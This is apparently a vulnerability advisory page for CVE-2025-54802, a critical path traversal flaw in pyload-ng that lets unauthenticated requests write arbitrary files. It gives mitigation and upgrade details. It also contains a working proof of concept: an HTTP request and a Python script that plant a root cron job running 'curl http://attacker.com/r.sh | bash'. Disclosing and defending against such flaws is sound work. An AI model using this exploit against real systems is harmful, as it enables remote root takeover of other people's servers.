CVE-2025-54802 is a critical-severity (CVSS 9.8) Path Traversal vulnerability in pyload-ng. A fix is available for pyload-ng — see the affected versions and patch details below.
pyLoad CNL Blueprint is vulnerable to Path Traversal through `dlc_path` leading to Remote Code Execution (RCE)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-54802.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
pyload-ngReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Path Traversal in pyLoad-ng CNL Blueprint via package parameter allows Arbitrary File Write leading to Remote Code Execution (RCE) The addcrypted endpoint in pyload-ng suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root.
Details
- Endpoint:
POST /addcrypted - Issue:
src/pyload/webui/app/blueprints/cnl_blueprint.py
Vulnerable Code
dlc_path = os.path.join(
dl_path, package.replace("/", "").replace("\\", "").replace(":", "") + ".dlc"
)
dlc = flask.request.form["crypted"].replace(" ", "+")
with open(dlc_path, mode="wb") as fp:
PoC
POST /addcrypted HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
package=../../../../etc/cron.d/payload&crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA==
Decoded payload:
* * * * * root curl -s http://attacker.com/r.sh | bash
Send crafted POST
import requests, base64
payload = "* * * * * root curl http://attacker.com/rev.sh | bash"
b64 = base64.b64encode(payload.encode()).decode()
requests.post("http://localhost:8000/addcrypted", data={
"package": "../../../../etc/cron.d/exploit",
"crypted": b64
})
Impact
The vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the addcrypted endpoint in pyload-ng parameter. when exploited, it enables remote code execution as root by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pyload-ng | all versions | 0.5.0b3.dev90pip install --upgrade 'pyload-ng==0.5.0b3.dev90' |
Affected Products
pyload-ngpyload-ng_projectDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pyload-ng to 0.5.0b3.dev90 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-54802 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is CVE-2025-54802 in your dependencies?
Find it across PyPI, including transitive dependencies.